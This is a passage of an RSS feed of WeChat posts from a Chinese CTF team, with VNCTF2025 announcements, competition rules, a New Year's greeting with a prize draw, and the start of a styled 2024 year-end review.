src="https://wechat2rss.xlab.app/img-proxy/?k=4ac613ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibuBOtW5sMS7mVqcu99KQrwt9rqG6OoLic3ES1z91nfWpicNyX4iakibInFT1oBehSa3YAmuUAnVj61m4A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 22px;border-bottom: 4px solid rgb(64, 184, 250);"><span style="display: flex;width: 20px;height: 20px;background-size: 20px 20px;background-image: none;margin-bottom: -22px;" data-remoteid="c1739340577802" data-cacheurl="https://imgkr.cn-bj.ufileos.com/15fdfb3c-b350-4da9-928e-5f8c506ec325.png"></span><span style="display: flex;color: #40B8FA;font-size: 20px;margin-left: 25px;">总结</span><span style="display: flex;width: 200px;height: 10px;border-top-left-radius: 20px;background: rgba(64, 184, 250, 0.5);color: rgb(255, 255, 255);font-size: 16px;letter-spacing: 0.544px;justify-content: flex-end;float: right;margin-top: -10px;"></span></h2><p data-tool="markdown.com.cn编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">赛事开始初期，由于访问量过大，平台出现了一些问题，我们第一时间进行了修复，很抱歉耽误了师傅们的时间。虽然有小插曲，但是非常感谢大家对我们的包容。感谢所有参赛师傅们的努力付出，感谢所有为比赛顺利进行而付出的出题人以及工作人员，感谢大家！</p><p data-tool="markdown.com.cn编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">特别感谢本次比赛一名不愿意透露姓名的赞助商（谢谢大哥</p><p data-tool="markdown.com.cn编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">本次比赛已经结束，但是我们对网络安全的探索永无止境。希望这次比赛能让大家在趣味中获得知识，愿大家在享受比赛乐趣的同时，继续保持对网络安全的热情。我们也非常欢迎高中、大一和大二的，对CTF感兴趣的师傅加入V&amp;N！</p><p data-tool="markdown.com.cn编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">我们将吸取本次比赛的经验教训，期待在下一次比赛中与大家再次相见，为大家贡献更多精彩高质量的赛题，期待明年的VNCTF2026，我们将在这里再次相见！</p></section><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247515179">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b2ebd133&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIxMDYyNTk3Nw%3D%3D%26mid%3D2247515179%26idx%3D1%26sn%3D12c8280f6aa045fed75cc9132804ba8a%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 12 Feb 2025 15:00:00 +0800</pubDate>
    </item>
    <item>
      <title>明日开赛，等你来战！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIxMDYyNTk3Nw==&amp;mid=2247515171&amp;idx=1&amp;sn=dbb225eecbdefb378e8e8774e8c9392a</link>
      <description>距离VNCTF2025开赛还有1天！&#xA;比赛地址：https://ctf.vnteam.cn/&#xA;比赛时间：2025/02/08 10:00 - 2025/02/09 10:00 ，24h&#xA;QQ群：717513199</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2025-02-07 11:01</span> <span style="display: inline-block;">浙江</span>
</p>

<p>距离VNCTF2025开赛还有1天！</p>
<p>比赛地址：https://ctf.vnteam.cn/</p>
<p>比赛时间：2025/02/08 10:00 - 2025/02/09 10:00 ，24h</p>
<p>QQ群：717513199</p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=fd925407&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaFJv52grsibtC3NS62P4MlNBqLYNTGyMrsiaFuYl2ezxwRgcaPLduIwiaib2D9qX0s2HDnbFzkMa8GVicF0M5Or6RaA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div id="js_image_content" class="image_content "><h1 class="rich_media_title ">明日开赛，等你来战！</h1>    <!----> <!----> <!----> <div class="wx_album_area js_album_wrap " style=""></div> <div class="rich_media_tool "><div class="rich_media_info weui-flex policy_tips js_ad_policy_tips tips_global_primary "><!----></div></div> </div>


<p><img src="https://mmbiz.qpic.cn/mmbiz_jpg/aFJv52grsibtC3NS62P4MlNBqLYNTGyMrKnAXk5JXoGOWy9rN8H6Cj3kibtfJby2tXx0voUSuOWiaHaVMcQP0ibrJw/0?wx_fmt=jpeg"/></p>




<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ba26c80a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIxMDYyNTk3Nw%3D%3D%26mid%3D2247515171%26idx%3D1%26sn%3Ddbb225eecbdefb378e8e8774e8c9392a%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 07 Feb 2025 11:01:00 +0800</pubDate>
    </item>
    <item>
      <title>白帽一百祝大家除夕快乐 | 文末抽奖</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIxMDYyNTk3Nw==&amp;mid=2247515161&amp;idx=1&amp;sn=3f2f882686de333d655eeacd52bf2dbc</link>
      <description></description>
      <content:encoded><![CDATA[<p>
<span>白帽一百</span> <span>2025-01-28 14:01</span> <span style="display: inline-block;">浙江</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=5cb1910e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaFJv52grsibvQPqTo4E9zDl8XTBEzlCk7OIZeeWzeNsscRnQ2via4DxCPoOu4dCwtdErjsnlicz4RKR2Gba1WKY1Q%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;">白帽一百祝大家除夕快乐</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100031511" data-ratio="1.7777777777777777" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=1a85bd45&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvQPqTo4E9zDl8XTBEzlCk7VH9HqNNI85bnTtzLyFpCnNaO4EubTFiaY8w7UYrPckqia30oBnibT4hyg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><br/></p><p><br/></p><p style="text-align: center;">转发此文章到朋友圈，不可设置分组屏蔽，领奖前不可删除！</p><section><mp-common-miniprogram data-miniprogram-nickname="抽奖助手" data-miniprogram-avatar="http://mmbiz.qpic.cn/mmbiz_png/Vdys2e8jP1l1clbflznHYO7IRflCZWjPfD4NMn1Xqgr5gZbBy1qVc12cGVG1whLTXiafBT7kiaWRl38HCbqLnRzw/640?wx_fmt=png&amp;wxfrom=200" data-miniprogram-title="祝大家除夕快乐" data-miniprogram-imageurl="http://mmbiz.qpic.cn/mmbiz_jpg/aFJv52grsibvQPqTo4E9zDl8XTBEzlCk7lapB9ibu7U5ZNo86K6c5tEzzmfY9pjhultKMUgLbVuP3Z4PbWicH0ANw/0?wx_fmt=jpeg" data-miniprogram-type="card" data-miniprogram-servicetype="0" data-pluginname="insertminiprogram" class="js_uneditable custom_select_card mp_miniprogram_iframe" data-miniprogram-appid="wx01bb1ef166cd3f4e" data-miniprogram-applink="#小程序://抽奖/e2KEfvotEiVtmvn" data-miniprogram-imageurlback="http%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvQPqTo4E9zDl8XTBEzlCk7VH9HqNNI85bnTtzLyFpCnNaO4EubTFiaY8w7UYrPckqia30oBnibT4hyg%2F0%3Fwx_fmt%3Dpng" data-miniprogram-cropperinfo="%7B%22c%22%3A%7B%22x%22%3A0%2C%22y%22%3A73%2C%22x2%22%3A144%2C%22y2%22%3A188.2%2C%22w%22%3A144%2C%22h%22%3A115.19999999999999%7D%7D" data-miniprogram-path="pages/lucky/lottery/detail?id=8GvCEqYp8DO"></mp-common-miniprogram></section><p><br/></p><p><br/></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247515161">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=efd52af5&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIxMDYyNTk3Nw%3D%3D%26mid%3D2247515161%26idx%3D1%26sn%3D3f2f882686de333d655eeacd52bf2dbc%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 28 Jan 2025 14:01:00 +0800</pubDate>
    </item>
    <item>
      <title>文末抽奖 | VNCTF2025 报名开启</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIxMDYyNTk3Nw==&amp;mid=2247515152&amp;idx=1&amp;sn=a0e8b286a2f198209df2ff60791ee27c</link>
      <description>VNCTF2025 报名开启，2月8日等你来战</description>
      <content:encoded><![CDATA[<p>
<span>V&amp;amp;N</span> <span>2025-01-26 20:00</span> <span style="display: inline-block;">浙江</span>
</p>

<p>VNCTF2025 报名开启，2月8日等你来战</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=aa9b6e40&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaFJv52grsibvffeNVibno1dfSEARpmN4rkgn15e9QZ9MWLAJDNBFtuPPN4G2SKfQYg2vib03BX9TOHsn39Nzr1ibrQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section><br/></section><section><section style="display: inline-block;"><img class="rich_pages wxw-img" data-imgfileid="100031499" data-ratio="1.7777777777777777" data-w="1080" data-type="jpg" src="https://wechat2rss.xlab.app/img-proxy/?k=bc99b6c2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaFJv52grsibvffeNVibno1dfSEARpmN4rkubud8odLeGD6pzJZtzEGIgiaLWIJCtrMibZrjULpeP5mlkkEkvzJbEng%2F640%3Fwx_fmt%3Djpeg"/></section></section><section><strong><span style="font-size: 20px;"><br/>比赛规则：</span></strong></section><section><section style="display: inline-block;">1.比赛为个人赛，请遵守比赛规则，不要使用任何作弊手段。参赛选手如有任何违规行为，将被取消比赛资格。<br/>2.禁止不同参赛选手合作，或者共享flag、hint等任何比赛相关信息。<br/>3.禁止攻击比赛平台，如果发现平台漏洞，请务必向我们报告；<br/>4.禁止在比赛中妨碍其他队伍解题，例如当解完一道题后对环境进行破坏；<br/>5.禁止对提交的flag进行爆破；<br/>6.比赛结束后直至比赛归档前，请不要在公开场合发布你的完整题解；<br/>7.获奖的队伍必须提交完整解题报告；<br/>8.大赛主办方有权修改包括赛题、规则等一切事项。</section></section><section><section style="display: inline-block;"><br/></section></section><section style="text-align: center;"><section style="display: inline-block;"><br/>转发此文章到朋友圈，不可设置分组屏蔽，领奖前不可删除！<br/></section></section><section><mp-common-miniprogram data-miniprogram-nickname="抽奖助手" data-miniprogram-avatar="http://mmbiz.qpic.cn/mmbiz_png/Vdys2e8jP1l1clbflznHYO7IRflCZWjPfD4NMn1Xqgr5gZbBy1qVc12cGVG1whLTXiafBT7kiaWRl38HCbqLnRzw/640?wx_fmt=png&amp;wxfrom=200" data-miniprogram-title="文末抽奖" data-miniprogram-imageurl="http://mmbiz.qpic.cn/mmbiz_jpg/aFJv52grsibvffeNVibno1dfSEARpmN4rkg6Lu0xcic4A3iafPpn6LoDQGADrtUuQvXEfRwPeHOJX1dkC01ZYuZLGQ/0?wx_fmt=jpeg" data-miniprogram-type="card" data-miniprogram-servicetype="0" data-pluginname="insertminiprogram" class="js_uneditable custom_select_card mp_miniprogram_iframe" data-miniprogram-appid="wx01bb1ef166cd3f4e" data-miniprogram-applink="#小程序://抽奖/DAy9ibjf5IovKFx" data-miniprogram-imageurlback="https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaFJv52grsibvffeNVibno1dfSEARpmN4rksDQN2Ed1CXZsiaOwbx60LPecxBK5x2vticeC1AoDqCqaWLMOrcjHbbIg%2F0%3Fwx_fmt%3Djpeg%26from%3Dappmsg" data-miniprogram-cropperinfo="%7B%22c%22%3A%7B%22x%22%3A0%2C%22y%22%3A61%2C%22x2%22%3A155%2C%22y2%22%3A185%2C%22w%22%3A155%2C%22h%22%3A124%7D%7D" data-miniprogram-path="pages/lucky/lottery/detail?scene=8GsPfJV6TlK"></mp-common-miniprogram></section><section><section style="display: inline-block;"><br/></section></section><p><br/></p><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>



<p><a href="https://ctf.vnteam.cn/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=8ea72ad5&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIxMDYyNTk3Nw%3D%3D%26mid%3D2247515152%26idx%3D1%26sn%3Da0e8b286a2f198209df2ff60791ee27c%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 26 Jan 2025 20:00:00 +0800</pubDate>
    </item>
    <item>
      <title>白帽一百2024年终总结</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIxMDYyNTk3Nw==&amp;mid=2247515145&amp;idx=1&amp;sn=5f4067dfd182166b027493a750adb031</link>
      <description>白帽一百2024年终总结</description>
      <content:encoded><![CDATA[<p>
原创 <span>白帽一百</span> <span>2024-12-31 13:00</span> <span style="display: inline-block;">江苏</span>
</p>

<p>白帽一百2024年终总结</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=0cbb1eef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaFJv52grsibvM0jFxpSt7icxzxO0AQuayXiaM927iacJM1auj6bclpkv4A9zNWyAGsibgEJyadopZHrHFRhicVNh0W3g%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="background-color: rgb(245, 243, 239);font-size: 16px;color: rgb(62, 62, 62);"><section style="display: grid;width: 100%;overflow: hidden;align-self: flex-start;line-height: 1.6;letter-spacing: 0px;color: rgb(0, 0, 0);grid-template-columns: 100%;grid-template-rows: 100%;"><section style="width: 100%;height: 100%;transform: rotate(0deg);margin-left: 0%;margin-top: 0%;grid-column-start: 1;grid-row-start: 1;"><section style="text-align: center;line-height: 0;font-size: 13px;height: 100%;pointer-events: none;"><section style="vertical-align: middle;display: inline-block;line-height: 0;width: 100%;pointer-events: none;"><img data-imgfileid="100031485" data-ratio="1.6287037037037038" data-s="300,640" style="vertical-align: middle;width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=87f39648&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvM0jFxpSt7icxzxO0AQuayX23zD6eSiczYtibX5FLKBMKDWiccVxpRwibJGia7UWzpZAnAicUDfu7ARia0Aw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section></section></section><section style="width: 38.3032%;height: 24.0939%;transform: rotate(0deg);margin-left: 58.5498%;margin-top: 2.16096%;grid-column-start: 1;grid-row-start: 1;"><section style="text-align: center;line-height: 0;font-size: 8px;height: 100%;pointer-events: none;"><section style="vertical-align: middle;display: inline-block;line-height: 0;width: 100%;pointer-events: none;"><img data-imgfileid="100031483" data-ratio="1.024653312788906" data-s="300,640" style="vertical-align: middle;width: 100%;" data-type="png" data-w="649" src="https://wechat2rss.xlab.app/img-proxy/?k=c62e9af2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvM0jFxpSt7icxzxO0AQuayXOqTQKYQFKkozGkwxENFicVCO0zWIJD4FY0173GfiaQQWXofyicBENj4tw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section></section></section><section style="width: 71.7947%;transform: rotateZ(355deg);margin-left: 12.7781%;margin-top: 48.7691%;grid-column-start: 1;grid-row-start: 1;height: 7.95%;"><section style="height: 100%;"><section style="font-size: 31px;text-align: left;letter-spacing: 1px;word-break: break-word;"><p><span style="font-size: 29px;"><strong>白帽一百年终总结</strong></span></p></section></section></section><section style="width: 66.8655%;transform: rotateZ(355.37deg);margin-left: 15.9503%;margin-top: 70.8677%;grid-column-start: 1;grid-row-start: 1;height: 35.91%;"><section style="font-size: 10px;opacity: 1;height: 100%;"><section style="font-size: 15px;color: rgb(52, 54, 60);text-align: center;line-height: 2;word-break: break-word;"><p>2024年即将落幕</p><p>这一年充满了挑战与成长</p><p>回顾过去，我们有收获，也有反思</p><p>展望未来，我们将以更坚定的步伐</p><p>迎接新的机遇与挑战</p><p><br/></p><p style="text-align: left;"><br/></p></section></section></section><section style="width: 8.49348%;transform: rotateZ(355.38deg);margin-left: 85.0394%;margin-top: 45.2327%;grid-column-start: 1;grid-row-start: 1;height: 13.83%;"><section style="font-size: 9px;height: 100%;"><section style="font-size: 15px;color: rgb(255, 255, 255);text-align: center;line-height: 1.4;word-break: break-word;"><p style="display: inline-block;width: 1em;margin-right: 0.2em;margin-left: 0.2em;float: left;clear: none;"><strong>蛇来运转<br/></strong></p><p style="font-size: 0px;line-height: 0;min-height: 0px;"><br/></p></section></section></section><section style="width: 33.7311%;transform: rotate(0deg);margin-left: 9.87055%;margin-top: 25.0532%;grid-column-start: 1;grid-row-start: 1;height: max-content;"><section style="text-align: center;line-height: 0;font-size: 5px;height: 100%;"><section style="vertical-align: middle;display: inline-block;line-height: 0;width: 100%;height: auto;"><img class="rich_pages wxw-img" data-imgfileid="100031481" data-ratio="0.74" data-s="300,640" style="vertical-align: middle;width: 100%;" data-type="png" data-w="500" src="https://wechat2rss.xlab.app/img-proxy/?k=663da890&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvM0jFxpSt7icxzxO0AQuayXHkOsicO4F9sYFqiapTaxJ3icSRA4FQFf6VKxuTgJEumdFnblIUCNKBPMA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section></section></section><section style="grid-column-start: 1;grid-row-start: 1;padding-top: 162.87%;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section><section style="text-align: center;line-height: 0;pointer-events: none;"><section style="vertical-align: middle;display: inline-block;line-height: 0;pointer-events: none;"><img data-imgfileid="100031484" data-ratio="0.2574074074074074" data-s="300,640" style="vertical-align: middle;width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=1d227adb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvM0jFxpSt7icxzxO0AQuayX6ZrLEJEdh7xgYdEPuFhtUxS6vdgib4JOMVXibEf4ibWLS3E3Aa1ebXC4Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section></section><section style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><section style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-repeat: repeat-y;background-attachment: scroll;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/aFJv52grsibvM0jFxpSt7icxzxO0AQuayXrf60mqAxunqNK9cFJDbxVd3NuXQODTNlxM9125r3OjffERn0f32Xibw/640?wx_fmt=png&amp;from=appmsg&#34;);background-size: 100% !important;background-position: 0% 0% !important;"><section style="display: flex;width: 100%;flex-flow: column;"><section style="z-index: 1;"><section style="justify-content: flex-start;display: flex;flex-flow: row;transform: translate3d(10px, 0px, 0px);margin-top: -66px;"><section style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-color: rgb(217, 87, 78);border-top-right-radius: 1000px;border-bottom-left-radius: 1000px;border-bottom-right-radius: 1000px;overflow: hidden;min-width: 5%;height: auto;padding: 5px 25px;"><section style="text-align: justify;color: rgb(255, 255, 255);"><p>新年新气象，蛇年运转</p></section></section></section></section></section><section style="text-align: justify;"><p><br/></p></section><section style="text-align: right;justify-content: flex-end;display: flex;flex-flow: row;transform: translate3d(-10px, 0px, 0px);"><section style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-bottom-left-radius: 1000px;border-bottom-right-radius: 1000px;overflow: hidden;min-width: 5%;height: auto;padding: 5px 25px;border-style: solid;border-width: 1px;border-color: rgb(217, 87, 78);border-top-left-radius: 1000px;"><section style="text-align: justify;color: rgb(2, 2, 2);"><p>2025，FIGHTING!</p></section></section></section><section style="text-align: justify;"><p><br/></p></section><section style="justify-content: flex-start;display: flex;flex-flow: row;transform: translate3d(10px, 0px, 0px);"><section style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-color: rgb(217, 87, 78);border-top-right-radius: 1000px;border-bottom-left-radius: 1000px;border-bottom-right-radius: 1000px;overflow: hidden;min-width: 5%;height: auto;padding: 5px 25px;"><section style="text-align: justify;color: rgb(255, 255, 255);"><p>来年来好运，携手共赢2025</p></section></section></section><section style="text-align: justify;"><p><br/></p></section><section style="text-align: justify;"><p><br/></p></section><section style="text-align: justify;"><p><br/></p></section><section style="text-align: justify;"><p><br/></p></section><section style="display: flex;width: 100%;flex-flow: column;"><section style="z-index: 1;"><section style="justify-content: flex-start;display: flex;flex-flow: row;"><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;height: auto;padding-right: 10px;margin-left: 10px;"><section style="-webkit-box-reflect: below -27px -webkit-linear-gradient(top, transparent, transparent 33%, rgba(255, 255, 255, 0.8));"><section style="text-align: center;font-size: 32px;color: rgb(2, 2, 2);line-height: 1.4;"><p><em><strong>PART.1</strong></em></p></section></section></section><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;height: auto;margin-right: 10px;"><section style="text-align: right;font-size: 24px;color: rgb(217, 87, 78);"><p style="word-break: break-all;"><strong>回望我们的2024</strong></p></section><section style=""><section style="background-color: rgba(0, 0, 0, 0.19);height: 1px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section><section style="text-align: right;font-size: 12px;color: rgba(0, 0, 0, 0.54);"><p style="word-break: break-all;">Look back to 2024</p></section></section></section></section></section><section style="text-align: justify;"><p><br/></p></section><section style="text-align: justify;"><p><br/></p></section><section style="transform: rotateZ(4deg);"><section style="text-align: center;justify-content: center;display: flex;flex-flow: row;"><section style="display: inline-block;width: 85%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;height: auto;"><section style="line-height: 0;"><section style="vertical-align: middle;display: inline-block;line-height: 0;width: 100%;height: auto;"><img class="rich_pages wxw-img" data-imgfileid="100031482" data-ratio="0.15" data-s="300,640" style="vertical-align: middle;width: 100%;" data-type="png" data-w="500" src="https://wechat2rss.xlab.app/img-proxy/?k=d1a083ae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvM0jFxpSt7icxzxO0AQuayXq1WVJfcLAhjSiboLmjmFIQSF437ccMYicNm5qYuXl1gCcJRTx7Hz1KZw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section></section><section style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><section style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;padding-bottom: 10px;background-color: rgb(255, 255, 255);margin-right: 8px;height: auto;box-shadow: rgba(0, 0, 0, 0.09) 5px 5px 5px 2px;"><section style="margin-bottom: 10px;"><section style="display: inline-block;width: 100%;vertical-align: top;overflow: hidden;align-self: flex-start;line-height: 0;"><svg viewBox="0 0 1080 1441" xlink="http://www.w3.org/1999/xlink" xmlns="http://www.w3.org/2000/svg" x="0" y="0" style="width: 100%;pointer-events: none;display: block;"><g><animateTransform attributeName="transform" type="translate" values="0 0;0 -1441;0 -2882;0 -4323;0 -5764;0 -7205" repeatCount="indefinite" fill="freeze" begin="0.5s" dur="9s" calcMode="discrete" end="click"></animateTransform><g><rect width="100%" height="600%" opacity="0" fill="#ffffff" style="pointer-events: painted;"></rect><g><foreignObject width="100%" height="100%" x="0" y="0"><svg space="default" style="width: 100%;background-position: 0% 0%;background-repeat: no-repeat;background-size: 100%;background-attachment: scroll;-webkit-tap-highlight-color: transparent;visibility: visible;pointer-events: none;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_jpg/aFJv52grsibvM0jFxpSt7icxzxO0AQuayX8gVH1oNshfaAiat8F3OR4QAXZ304kuBsiac1fszLwK95tBTG7EFvv2tg/640?wx_fmt=jpeg&amp;from=appmsg&#34;);user-select: none;" viewBox="0 0 1080 1441" xlink="http://www.w3.org/1999/xlink" xml="" xmlns="http://www.w3.org/2000/svg"></svg></foreignObject></g><g><foreignObject width="100%" height="100%" x="0" y="1441"><svg space="default" style="width: 100%;background-position: 0% 0%;background-repeat: no-repeat;background-size: 100%;background-attachment: scroll;-webkit-tap-highlight-color: transparent;visibility: visible;pointer-events: none;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_jpg/aFJv52grsibvM0jFxpSt7icxzxO0AQuayXYxSttKib8Ju164KA0uzMILyCfClQa9B66VoIQ4QDed6IPE4KvhmZ24w/640?wx_fmt=jpeg&amp;from=appmsg&#34;);user-select: none;" viewBox="0 0 1080 1441" xlink="http://www.w3.org/1999/xlink" xml="" xmlns="http://www.w3.org/2000/svg"></svg></foreignObject></g><g><foreignObject width="100%" height="100%" x="0" y="2882"><svg space="default" style="width: 100%;background-position: 0% 0%;background-repeat: no-repeat;background-size: 100%;background-attachment: scroll;-webkit-tap-highlight-color: transparent;visibility: visible;pointer-events: none;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_jpg/aFJv52grsibvM0jFxpSt7icxzxO0AQuayX6JTGEz3dzSNVjcS4IhcYFll0kOVDM4iaIYpC3mk9MNM5yCPeHrjicL3w/640?wx_fmt=jpeg&amp;from=appmsg&#34;);user-select: none;" viewBox="0 0 1080 1441" xlink="http://www.w3.org/1999/xlink" xml="" xmlns="http://www.w3.org/2000/svg"></svg></foreignObject></g><g><foreignObject width="100%" height="100%" x="0" y="4323"><svg space="default" style="width: 100%;background-position: 0% 0%;background-repeat: no-repeat;background-size: 100%;background-attachment: scroll;-webkit-tap-highlight-color: transparent;visibility: visible;pointer-events: none;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_jpg/aFJv52grsibvM0jFxpSt7icxzxO0AQuayXDKPh9N8K9b4Wu2gicfTkhCCeJibzA62MlN6ibeIYx3PkkyBwnkr7MibzPA/640?wx_fmt=jpeg&amp;from=appmsg&#34;);user-select: none;" viewBox="0 0 1080 1441" xlink="http://www.w3.org/1999/xlink" xml="" xmlns="http://www.w3.org/2000/svg"></svg></foreignObject></g><g><foreignObject width="100%" height="100%" x="0" y="5764"><svg space="default" style="width: 100%;background-position: 0% 0%;background-repeat: no-repeat;background-size: 100%;background-attachment: scroll;-webkit-tap-highlight-color: transparent;visibility: visible;pointer-events: none;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_jpg/aFJv52grsibvM0jFxpSt7icxzxO0AQuayX11QzcDZeL9N9heiaNKFalnAUzOdJDjFWS66ZKIRulq9Q2qKUUPdHkMw/640?wx_fmt=jpeg&amp;from=appmsg&#34;);user-select: none;" viewBox="0 0 1080 1441" xlink="http://www.w3.org/1999/xlink" xml="" xmlns="http://www.w3.org/2000/svg"></svg></foreignObject></g><g><foreignObject width="100%" height="100%" x="0" y="7205"><svg space="default" style="width: 100%;background-position: 0% 0%;background-repeat: no-repeat;background-size: 100%;background-attachment: scroll;-webkit-tap-highlight-color: transparent;visibility: visible;pointer-events: none;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_jpg/aFJv52grsibvM0jFxpSt7icxzxO0AQuayX9v8QKPfCNT0nvXcFG7RvzPqkf4ZrzFWTPBzqT1Dj8kGDsAnicib4nbvA/640?wx_fmt=jpeg&amp;from=appmsg&#34;);user-select: none;" viewBox="0 0 1080 1441" xlink="http://www.w3.org/1999/xlink" xml="" xmlns="http://www.w3.org/2000/svg"></svg></foreignObject></g></g></g></svg></section></section><section style="display: flex;width: 100%;flex-flow: column;"><section style="z-index: 2;"><section style="text-align: right;font-size: 14px;padding-right: 20px;padding-left: 20px;color: rgb(2, 2, 2);"><p style="text-align: left;"><strong>Look back to </strong></p></section></section></section><section style="justify-content: flex-start;display: flex;flex-flow: row;transform: translate3d(15px, 0px, 0px);"><section style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-radius: 1000%;overflow: hidden;min-width: 5%;height: auto;padding-right: 15px;padding-left: 15px;border-style: solid;border-width: 1px;border-color: rgb(2, 2, 2);"><section style="text-align: justify;color: rgb(173, 30, 44);font-size: 14px;"><p><strong><em>2024</em></strong></p></section></section></section></section></section><section style="display: flex;width: 100%;flex-flow: column;"><section style="z-index: 1;transform: rotateZ(354deg);"><section style="text-align: right;margin-top: -32px;line-height: 0;transform: translate3d(16px, 0px, 0px);"><section style="vertical-align: middle;display: inline-block;line-height: 0;width: 133px;height: auto;"><img class="rich_pages wxw-img" data-imgfileid="100031487" data-ratio="0.6092233009708737" data-s="300,640" style="vertical-align: middle;width: 100%;" data-type="png" data-w="412" 